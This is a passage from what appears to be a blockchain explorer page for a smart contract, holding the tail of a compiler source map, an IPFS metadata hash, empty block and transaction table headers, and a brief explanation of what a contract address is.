:217::o;7712:127::-;7773:10;7768:3;7764:20;7761:1;7754:31;7804:4;7801:1;7794:15;7828:4;7825:1;7818:15;7844:251;7914:6;7967:2;7955:9;7946:7;7942:23;7938:32;7935:52;;;7983:1;7980;7973:12;7935:52;8015:9;8009:16;8034:31;8059:5;8034:31;:::i;8100:980::-;8362:4;8410:3;8399:9;8395:19;8441:6;8430:9;8423:25;8467:2;8505:6;8500:2;8489:9;8485:18;8478:34;8548:3;8543:2;8532:9;8528:18;8521:31;8572:6;8607;8601:13;8638:6;8630;8623:22;8676:3;8665:9;8661:19;8654:26;;8715:2;8707:6;8703:15;8689:29;;8736:1;8746:195;8760:6;8757:1;8754:13;8746:195;;;8825:13;;-1:-1:-1;;;;;8821:39:1;8809:52;;8916:15;;;;8881:12;;;;8857:1;8775:9;8746:195;;;-1:-1:-1;;;;;;;8997:32:1;;;;8992:2;8977:18;;8970:60;-1:-1:-1;;;9061:3:1;9046:19;9039:35;8958:3;8100:980;-1:-1:-1;;;8100:980:1:o

Swarm Source

ipfs://6efaec677693b10cc9468d25cd47dbbc9b5949c12c17979e8b1e0d46139d19bb

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.